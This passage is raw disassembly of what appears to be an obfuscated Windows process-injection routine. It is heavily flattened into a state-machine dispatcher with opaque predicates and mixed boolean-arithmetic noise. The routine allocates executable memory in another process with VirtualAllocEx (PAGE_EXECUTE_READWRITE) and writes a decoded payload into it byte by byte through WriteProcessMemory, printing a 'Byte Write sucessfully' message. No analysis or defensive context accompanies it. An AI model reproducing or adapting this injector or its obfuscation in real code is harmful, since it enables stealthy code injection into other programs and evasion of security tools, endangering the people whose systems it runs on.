xor ebx, 0x95b82ad6
and ebx, r8d
mov r13d, r15d
xor r13d, 0x81838280
and r13d, r9d
mov r11d, r9d
or r10d, r9d
mov edi, r9d
and edi, 0x479619ab
xor edi, 0x47160903
or edi, ebx
xor edi, 0xb869e654
mov esi, r15d
xor esi, 0x2dd1cc82
or esi, r8d
not esi
or esi, edi
mov ebx, r12d
not ebx
and ebx, r14d
xor r12d, r14d
mov edi, ebx
not edi
mov ecx, edi
and ecx, 0x621036
or ecx, 0x8814a880
mov edx, ebx
and edx, 0xda15acc9
xor edx, r12d
xor edx, ecx
xor edx, 0x77894749
xor ebx, r12d
xor edi, r12d
or edi, ebx
not edi
or edi, edx
mov ecx, edi
xor ecx, 0xb140bf34
mov edx, edi
xor edx, 0x4ebf40cb
or edx, ecx
mov ecx, eax
mov r8d, eax
mov ebx, eax
mov r14d, eax
xor eax, r9d
xor edi, 0x62472d1f
and edi, edx
mov edx, esi
xor edx, 0x62472d1f
xor esi, 0x9db8d2e0
and esi, edi
not edi
and edi, edx
or edi, esi
and ecx, 0x28280140
xor r8d, 0x63895708
xor ebx, 0x5fb51e75
or ebx, r8d
and r13d, 0xc3c3b682
and r11d, 0x3c004178
or r11d, 0x10000
and r9d, 0x3c0805
or r9d, 0x39c0055a
xor r9d, r11d
or r9d, 0x28000
xor r9d, r13d
mov r13, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov edx, r15d
xor edx, 0xb9257747
xor r15d, 0x46da88b8
or r15d, edx
mov edx, r9d
xor edx, 0x210170d8
xor r9d, r15d
xor r9d, 0x210170d8
or edx, r15d
not edx
or edx, r9d
and r14d, 0x3c3c497d
mov esi, r14d
xor esi, 0xe3cbf78a
or r14d, 0x286923c0
or ecx, 0xd796dc3f
xor ecx, r14d
mov r8d, ecx
xor r8d, 0x345d2bb5
mov r9d, ebx
xor r9d, 0x286923c0
xor ecx, 0xcba2d44a
and ecx, r9d
or esi, ebx
xor ebx, 0xd796dc3f
and ebx, r8d
not esi
or esi, ebx
or esi, ecx
xor esi, edx
mov ecx, eax
xor ecx, 0x5fb51e75
or ecx, r10d
xor eax, r10d
xor eax, 0xa04ae18a
and eax, ecx
mov ecx, esi
and ecx, 0xcd6efaf3
xor ecx, eax
and eax, esi
and esi, 0x3291050c
or esi, 0x8d044200
xor ecx, esi
mov edx, eax
not edx
xor eax, ecx
xor ecx, 0x72fbbdff
or ecx, edx
xor eax, 0x72fbbdff
and eax, ecx
mov edx, eax
and edx, 0xa6383d3f
or edx, 0x408702c0
mov r12d, eax
and r12d, 0x59c7c2c0
xor r12d, edx
mov r8d, edi
mov r14d, r12d
xor r14d, 0x78f3d73c
mov r11d, r12d
xor r11d, 0x408702c0
or r14d, r11d
mov esi, edi
mov r9d, edi
mov r10d, edi
mov ebx, edi
and ebx, 0x1cf6b197
mov r15d, edi
xor ebx, r12d
xor r12d, edi
and r11d, edi
not edi
or r8d, 0x3874d5fc
and eax, 0x3874d5fc
or edi, 0xc78b2a03
mov edx, edi
and edx, 0x4fc17d14
and esi, 0x303480e8
or esi, edx
xor edi, r8d
mov edx, r8d
and edx, 0x6412d04
and r9d, 0x800a0203
add edx, r9d
add edx, 0x5984d050
mov ecx, edx
xor ecx, 0x900e8243
xor edx, 0x2e717dbc
and edx, esi
not esi
and esi, ecx
or esi, edx
xor r10d, 0x3874d5fc
or edi, r10d
mov ecx, edi
xor ecx, esi
not ecx
not edi
and edi, esi
or edi, ecx
mov ecx, r14d
not ecx
and ecx, eax
xor eax, r14d
xor eax, ecx
mov ecx, edi
xor ecx, 0x3d2be5bc
mov edx, eax
xor edx, 0xc2d41a43
xor edi, 0xc2d41a43
and edi, edx
xor eax, 0x3d2be5bc
and eax, ecx
or eax, edi
and r15d, 0xe3094e68
or r15d, 0x1c721104
xor ebx, r15d
xor r12d, 0x408702c0
or r11d, r12d
mov edx, ebx
xor edx, 0xa30aec3b
xor ebx, r11d
xor ebx, 0xa30aec3b
or edx, r11d
not edx
or edx, ebx
mov ecx, edx
and ecx, 0x2fd33372
or ecx, 0x10208088
and edx, 0xd02ccc8d
xor edx, ecx
mov r8d, edx
xor r8d, 0xefdf7f77
mov ecx, edx
or ecx, 0xa496ba8b
mov r9d, edx
xor r9d, 0xb4b63a03
and r9d, r8d
mov edi, eax
mov ebx, edx
or r8d, eax
xor edx, eax
and eax, 0x5b694574
or eax, 0x2004aa08
and edi, 0xa496ba8b
xor edi, eax
mov eax, edi
xor eax, 0x7b6def7c
mov esi, ecx
and esi, 0x3e16b568
and ebx, 0x41694014
or ebx, esi
xor ebx, r9d
xor ebx, 0x3436b008
xor ecx, 0xb4b6ba8b
and ecx, r9d
or ecx, ebx
xor edi, 0x84921083
and edi, ecx
not ecx
and ecx, eax
xor edx, 0x10208088
and edx, r8d
or edx, ecx
or edx, edi
mov ebx, edx
or ebx, 0xdf89dad7
mov eax, edx
xor eax, 0x20762528
mov ecx, ebx
and ecx, 0x74311bf4
mov esi, edx
and esi, 0x462408
or esi, ecx
or eax, ebx
xor esi, edx
xor esi, 0x54011ad4
and esi, eax
mov r15d, edx
and r15d, 0x442128
mov r14d, r15d
xor r14d, 0x450c0008
mov r8d, r15d
xor r8d, 0x454c0108
or r15d, 0xdf89dad7
mov ecx, r8d
and ecx, 0x440008
mov eax, r15d
and eax, 0x178821e4
or eax, ecx
xor eax, 0xc079742c
mov edi, r14d
xor edi, eax
xor edi, 0x45702520
and edi, eax
and edx, 0x20120420
mov eax, ebx
and eax, 0x86c211f
or eax, edx
xor eax, 0x20428b08
and ebx, 0xf7c351c8
or ebx, eax
mov r9d, esi
xor r9d, 0x8308822
and r9d, esi
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x580a250
or eax, 0x926d09a8
and edi, 0x42445128
xor edi, eax
mov eax, edi
xor eax, 0x27c0d28
or ecx, ebx
and ebx, 0x7b7e637d
mov edx, ebx
xor edx, 0xeeefc1af
xor edi, 0x2d82a255
and edi, edx
xor ebx, 0x11103e50
and ebx, eax
not ecx
or ecx, ebx
or ecx, edi
mov r10d, esi
mov r11d, esi
mov r12d, esi
mov edx, esi
and r8d, 0x442020
and r15d, 0xd88891c9
or r15d, r8d
mov edi, esi
mov ebx, esi
mov eax, r15d
xor eax, esi
xor r15d, 0xf8bab5e9
and r15d, esi
not esi
and r10d, 0x8308822
and r11d, 0xe4c341c0
and esi, 0x13001008
xor r10d, 0xecf3c9e2
and r9d, 0x83cae37
or r9d, r10d
add esi, r11d
add esi, 0x8308822
xor esi, r9d
xor r12d, 0x83cae37
xor edx, 0xf7c351c8
or edx, r12d
not edx
or edx, esi
xor edx, ecx
mov ecx, r14d
or ecx, 0x10858ae0
and ecx, 0x10858ae8
and r14d, 0x442020
or r14d, 0x4003
xor r14d, ecx
mov ecx, r14d
xor ecx, 0x88120b20
and edi, 0xcf1a1b1c
and ebx, 0x30e5e4e3
or ebx, 0x4a020b18
xor ebx, edi
mov edi, ebx
xor edi, 0x6a662f38
xor r14d, 0x77edf4df
and r14d, edi
xor ebx, 0x85181004
and ebx, ecx
or ebx, r14d
xor eax, 0xf8bab5e9
or r15d, eax
not ebx
and ebx, r15d
mov eax, edx
not eax
mov ecx, ebx
not ecx
mov edi, edx
and edi, 0x21f2c4
mov esi, eax
and esi, 0x4080021
lea r8d, [rsi + rdi]
add r8d, 0x30820d0a
mov esi, edx
and esi, 0xfbd60d1a
mov edi, ebx
and edi, 0x400b001
and eax, ecx
and ecx, 0x2942e4
add ecx, edi
add ecx, 0xfb920000
xor edx, ebx
and ebx, 0xfbd60d1a
xor ebx, ecx
xor ebx, esi
xor ebx, r8d
or edx, eax
mov eax, ebx
xor eax, 0x30
xor ebx, edx
xor ebx, 0x30
or eax, edx
not eax
or eax, ebx
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp]
movsxd rdx, dword [rbp + 0x18]
add rdx, rax
mov r8, qword [rbp - 0x10]
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], 0
mov r9d, 1
call r13
add rsp, 0x30
mov eax, 0x100b128d
jmp 0x140001070
cmp eax, 0xc6fd8cf4
je 0x1400109a9
cmp eax, 0xc7627fb3
jne 0x140001070
mov eax, 0xc5620bbd
jmp 0x140001070
cmp eax, 0x6238b397
je 0x1400109d4
cmp eax, 0x6286803f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x479870b3
mov ecx, 0x15dfc31f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xa43ffeb6
je 0x1400109ff
cmp eax, 0xa453930d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xe389ec3d
mov ecx, 0x548745b5
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x23030eb8
je 0x140010a6e
cmp eax, 0x2319137f
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x68e83933
mov ecx, 0x3416865a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xe5bfba6a
je 0x140010a8d
cmp eax, 0xe5c0eefb
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
and dl, al
mov ebx, ecx
xor bl, al
or cl, al
mov eax, edx
xor al, 1
or al, bl
and al, cl
xor al, dl
mov eax, 0x1dd38039
mov ecx, 0x6f081a6
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x4f0c89a2
je 0x140010a97
cmp eax, 0x4f710a4a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl bl
mov edx, ebx
and dl, al
xor al, bl
xor al, 1
or bl, cl
and bl, al
mov eax, ebx
xor al, 1
mov r8d, edx
and r8b, al
mov ecx, edx
xor cl, bl
or bl, dl
xor dl, 1
or dl, al
xor bl, dl
and dl, cl
or dl, bl
mov eax, r8d
xor al, 1
or al, dl
xor dl, 1
or dl, bl
xor dl, r8b
mov ecx, eax
xor cl, dl
test dl, 1
mov edx, 0xd3553432
mov ebx, 0xb0a851df
cmovne edx, ebx
test al, 1
mov eax, 0xd3553432
cmovne edx, eax
test cl, 1
cmove edx, ebx
mov eax, edx
jmp 0x140001070
cmp eax, 0x94937199
je 0x140010b00
cmp eax, 0x9526cbec
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf6ddbeaf
mov ecx, 0xf0a6364e
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xf6ddbeaf
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x140fee0e
je 0x140010b0a
cmp eax, 0x141fd778
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x797f3488
mov ecx, 0xcdf2736e
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd545aea2
je 0x140010b39
cmp eax, 0xd5494087
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0x4a839673
mov ecx, 0x95df0c6f
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x719bfca8
je 0x140010b64
cmp eax, 0x71dd1229
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1804a016
mov ecx, 0xf1de0fb2
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xb6af4373
je 0x140010b8f
cmp eax, 0xb708c4a7
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4252c20b
mov ecx, 0x7b82fe63
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x306b127a
je 0x140010b99
cmp eax, 0x30aace50
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl bl
mov eax, ebx
xor al, r8b
and cl, bl
or dl, r8b
and dl, al
or bl, r8b
xor bl, cl
xor bl, dl
mov ecx, 0x71e0c158
mov edx, 0x69b098ff
cmovne ecx, edx
test al, al
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0xf33c5637
je 0x140010bc4
cmp eax, 0xf341d8c7
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdd076e0
mov ecx, 0x7e43e98c
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x468747a1
je 0x140010c21
cmp eax, 0x46ea5828
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x17115c55
mov ecx, 0xba01c462
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x8d40fce8
je 0x140010c2b
cmp eax, 0x8e2a35b8
jne 0x140001070
mov rax, qword [rbp + 8]
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91d88963
mov ecx, 0xb9d09bb3
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0x91d88963
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xbeb8099
je 0x140010c35
cmp eax, 0xc43e4d9
jne 0x140001070
mov eax, 0xed274789
jmp 0x140001070
cmp eax, 0xcea37825
je 0x140010c60
cmp eax, 0xceadaf65
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x222e75b0
mov ecx, 0xe52e5a87
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x6a78ef0b
je 0x140010c7e
cmp eax, 0x6a8e8dae
jne 0x140001070
mov eax, 0xe024d34c
jmp 0x140001070
cmp eax, 0xadc9776d
je 0x140010c88
cmp eax, 0xadcb5344
jne 0x140001070
mov eax, 0xc9fe36d9
jmp 0x140001070
cmp eax, 0x2954ca12
je 0x140010cb3
cmp eax, 0x2955efff
jne 0x140001070
mov eax, 0xaaefc8f2
jmp 0x140001070
cmp eax, 0xed40f0e9
je 0x140010cf8
cmp eax, 0xed4ca5d6
jne 0x140001070
mov rcx, qword [rbp + 8]
sub rsp, 0x30
mov dword [rsp + 0x20], 0x40
mov r8d, 0x381
xor edx, edx
mov r9d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
add rsp, 0x30
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a5d7a79
mov ecx, 0xab526e36
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x59248748
je 0x140010d02
cmp eax, 0x592525c5
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x4a839673
mov ecx, 0xd5494087
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x9dd3aca2
je 0x140010d2d
cmp eax, 0x9e7b6559
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl bl
mov edx, ebx
xor dl, al
and bl, al
mov ecx, eax
and cl, r8b
xor cl, dl
or al, r8b
and al, dl
or al, cl
xor al, bl
mov eax, 0xed3997f6
mov ecx, 0x125d144a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x1c0865ee
je 0x140010d3b
cmp eax, 0x1c22adc2
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x9ef1b9c9
mov ecx, 0x38c73465
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xdd0cc6d3
je 0x140010d9d
cmp eax, 0xdd1e2538
jne 0x140001070
mov rax, qword [rbp - 0x20]
mov rcx, qword [rbp - 0x38]
mov edx, dword [0x140035ab0]
lea ebx, [rdx - 1]
imul ebx, edx
test bl, 1
sete dl
cmp dword [0x140035ab4], 0xa
movzx eax, byte [rax + rcx]
setl cl
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, bl
mov ecx, 0xa7d1921d
mov edx, 0x864af650
cmovne ecx, edx
mov dword [rbp + 0x1c], eax
test bl, bl
cmovne ecx, edx
mov eax, ecx
jmp 0x140001070
cmp eax, 0x7b82fe63
je 0x140010da7
cmp eax, 0x7b84cdac
jne 0x140001070
mov eax, 0xe2b43bca
jmp 0x140001070
cmp eax, 0xbdecd223
je 0x140010dd7
cmp eax, 0xbe42439c
jne 0x140001070
mov eax, 0xac0753ee
jmp 0x140001070
cmp eax, 0x3846b494
je 0x140010de1
cmp eax, 0x3855b130
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdf4b7789
mov ecx, 0xa2cfe81a
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xfb04bb8f
je 0x140010e0c
cmp eax, 0xfb1869a9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xdab97602
mov ecx, 0xd411c307
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x3efe9654
je 0x140010e37
cmp eax, 0x3f3563f7
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xe67c14f0
mov ecx, 0x3b32ac56
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x88e28689
je 0x140010e55
cmp eax, 0x890e7384
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc0b9f200
mov ecx, 0x8f5df57
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0x6b21e61
je 0x140010eab
cmp eax, 0x6f081a6
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
setge dl
or dl, al
xor dl, cl
xor cl, al
mov eax, 0xa1e61e6c
mov ecx, 0x1b20bc26
cmovne eax, ecx
test dl, dl
cmove eax, ecx
jmp 0x140001070
cmp eax, 0xcb1105f5
je 0x140010ed6
cmp eax, 0xcbf04620
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setge r8b
setl dl
mov r9d, eax
and r9b, dl
xor dl, al
mov ecx, edx
xor cl, 1
mov ebx, eax
or bl, r8b
and al, r8b
or al, cl
xor al, dl
xor al, 1
mov ecx, ebx
xor cl, 1
and cl, al
xor al, bl
xor cl, al
mov edx, r9d
xor dl, cl
xor cl, 1
and cl, r9b
and al, r9b
xor al, 1
and al, dl
mov edx, ecx
xor dl, al
mov ebx, ecx
xor bl, 1
or bl, al
mov eax, 0x8ce8fe7d
mov edi, 0x51d3fee1
cmovne eax, edi
test dl, dl
cmovne eax, edi
mov edx, 0x8ce8fe7d
cmove eax, edx
test bl, bl
mov edx, 0x8ce8fe7d
cmovne edx, eax
test cl, cl
cmove edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0x66158cfd
je 0x140010f01
cmp eax, 0x66531819
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete dl
cmp dword [0x140035ab4], 0xa
setge cl
setl bl
mov r8d, ebx
xor r8b, dl
or cl, dl
and cl, r8b
and al, bl
xor al, cl
mov ecx, r8d
or cl, al
or bl, dl
mov r9d, ecx
xor r9b, 1
mov edx, ebx
or dl, cl
xor dl, 1
and al, dl
xor dl, cl
or dl, al
and r9b, bl
xor bl, 1
or bl, cl
xor bl, r9b
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0x9527a8fe
mov edi, 0xcb1105f5
cmovne ecx, edi
test dl, 1
mov eax, ecx
mov edx, 0x9527a8fe
cmovne eax, edx
test bl, 1
cmovne eax, ecx
test r8b, r8b
cmovne eax, edi
jmp 0x140001070
cmp eax, 0xa8ee8921
je 0x140010f0b
cmp eax, 0xa9024388
jne 0x140001070
mov edx, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea esi, [rdx - 1]
imul esi, edx
and esi, 1
sete r8b
cmp edi, 0xa
setge bl
setl al
mov edx, esi
and dl, al
xor al, r8b
or bl, r8b
xor dl, al
and al, bl
mov ecx, ebx
or cl, dl
not cl
or cl, al
not bl
and bl, dl
xor bl, cl
test bl, 1
mov eax, 0x592525c5
mov edx, 0x7630ecb6
cmovne eax, edx
test esi, esi
mov ecx, eax
cmove ecx, edx
cmp edi, 0xa
cmovge ecx, eax
mov eax, ecx
jmp 0x140001070
cmp eax, 0x262a6d69
je 0x140010f36
cmp eax, 0x2659970a
jne 0x140001070
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, dword [rbp + 0x14]
mov eax, 0x9c114e02
jmp 0x140001070
cmp eax, 0xe94d4a79
je 0x140010f40
cmp eax, 0xe94ec61d
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
or cl, al
xor cl, dl
mov eax, 0xdab97602
mov ecx, 0xfb1869a9
cmovne eax, ecx
test dl, dl
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x5571f930
je 0x140010f6b
cmp eax, 0x5596165e
jne 0x140001070
mov eax, 0xf96b93bd
jmp 0x140001070
cmp eax, 0x983f80fc
je 0x140010f96
cmp eax, 0x98879beb
jne 0x140001070
cmp byte [rbp - 0x15], 0
mov eax, 0x30570931
mov ecx, 0x43c8a46e
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x17c8773c
je 0x140010fc1
cmp eax, 0x17cc25e9
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xaef1d256
mov ecx, 0x1c22adc2
cmovne eax, ecx
cmp dword [0x140035ab4], 0xa
mov ecx, 0xaef1d256
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd9827ff8
je 0x140010fec
cmp eax, 0xda303d16
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
and ecx, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge dl
setl al
mov r9d, eax
and cl, al
xor al, r8b
or r9b, r8b
xor r9b, al
or dl, r8b
xor cl, al
mov ebx, edx
or bl, cl
and al, dl
xor al, bl
xor dl, 1
and dl, cl
mov ecx, edx
xor cl, al
xor dl, 1
or dl, al
and dl, cl
mov eax, edx
not al
and al, r9b
xor dl, r9b
xor dl, al
test dl, 1
mov eax, 0x7c3dfbd0
mov ecx, 0xb3e59329
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x784c707d
je 0x140011031
cmp eax, 0x785e54e1
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xae39641a
mov ecx, 0xb708c4a7
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xb98598ca
je 0x14001103b
cmp eax, 0xb9d09bb3
jne 0x140001070
mov rax, qword [rbp + 8]
mov eax, 0x8e2a35b8
jmp 0x140001070
cmp eax, 0x3446a976
je 0x140011045
cmp eax, 0x34c145f8
jne 0x140001070
mov eax, 0xb847d85
jmp 0x140001070
cmp eax, 0xf8042423
je 0x14001104f
cmp eax, 0xf81ef6a4
jne 0x140001070
mov eax, dword [rbp - 0x6c]
mov dword [rbp - 0x40], eax
mov eax, 0xa2532011
jmp 0x140001070
cmp eax, 0x4b09e848
je 0x1400110c3
cmp eax, 0x4b9c3945
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x140035ab4], 0xa
setl cl
mov edx, ecx
xor dl, al
and cl, al
mov eax, ecx
xor al, dl
mov eax, 0x66158cfd
mov ebx, 0xd239fa1d
cmovne eax, ebx
test dl, dl
mov edx, eax
cmovne edx, ebx
test cl, cl
cmove edx, eax
mov eax, edx
jmp 0x140001070
cmp eax, 0x919aefe7
je 0x140011128
cmp eax, 0x91add732
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete cl
cmp dword [0x140035ab4], 0xa
setge bl
setl dl
mov r8d, edx
and r8b, cl
or bl, cl
xor cl, dl
and al, dl
xor al, cl
and cl, bl
mov edx, ebx
or dl, al
xor dl, cl
not al
or al, bl
and al, dl
mov ecx, r8d
xor cl, al
not al
and al, r8b
xor al, cl
test al, 1
mov eax, 0x750ab283
mov ecx, 0x634306ee
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x101d9aaa
je 0x140011132
cmp eax, 0x1048f023
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x208fbd61
mov ecx, 0x41b6db29
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xd18b2776
je 0x14001115d
cmp eax, 0xd1989985
jne 0x140001070
mov eax, 0xdab3f187
jmp 0x140001070
cmp eax, 0x6d9cd678
je 0x140011167
cmp eax, 0x6e131106
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd3f16a98
mov ecx, 0xcd14228f
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xb2f40a2c
je 0x140011197
cmp eax, 0xb32e7f01
jne 0x140001070
mov eax, 0x43dcda7d
jmp 0x140001070
cmp eax, 0x2d3e6b27
je 0x1400111c2
cmp eax, 0x2d46e36a
jne 0x140001070
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6c265f70
mov ecx, 0x38f5f015
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xf100549d
je 0x1400111f2
cmp eax, 0xf114ce9f
jne 0x140001070
mov ecx, dword [0x140035ab0]
lea eax, [rcx - 1]
imul eax, ecx
and eax, 1
sete r8b
cmp dword [0x140035ab4], 0xa
setge r9b
setl cl
mov edx, ecx
and al, cl
and cl, r8b
xor dl, r8b
mov ebx, edx
xor bl, 1
or al, bl
xor al, dl
or r9b, r8b
and r9b, dl
mov edx, r9d
xor dl, al
xor al, 1
and al, r9b
xor al, dl
mov edx, ecx
xor dl, al
not al
and al, cl
xor al, dl
test al, 1
mov eax, 0x9bfd5980
mov ecx, 0xe5bfba6a
cmovne eax, ecx
jmp 0x140001070
cmp eax, 0x5e98e102
je 0x14001124a
cmp eax, 0x5eef4663
jne 0x140001070
sub rsp, 0x20
lea rcx, str.___Byte_Write_sucessfully__n
call fcn.140011390
add rsp, 0x20
mov eax, dword [0x140035ab0]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x91d00e4c
mov ecx, 0x815184bb
cmove eax, ecx
cmp dword [0x140035ab4], 0xa
cmovl eax, ecx
jmp 0x140001070
cmp eax, 0xa055f818
je 0x140011254
cmp eax, 0xa0aded88
jne 0x140001070
mov eax, 0xe87e340b
jmp 0x140001070
cmp eax, 0x1fdf753c
je 0x14001127f
cmp eax, 0x1fe9ac19
jne 0x140001070
mov eax, 0x56eab32f
jmp 0x140001070
cmp eax, 0xe189b55f
je 0x1400112af
cmp eax, 0xe19d7386
jne 0x140001070
mov eax, 0xd6802f57
jmp 0x140001070
cmp eax, 0x7f2bbb55
je 0x1400112b9
cmp eax, 0x7fd18bd7
jne 0x140001070
mov eax, dword [0x140035ab0]
mov edi, dword [0x140035ab4]
lea edx, [rax - 1]
imul edx, eax
and edx, 1
sete r8b
cmp edi, 0xa
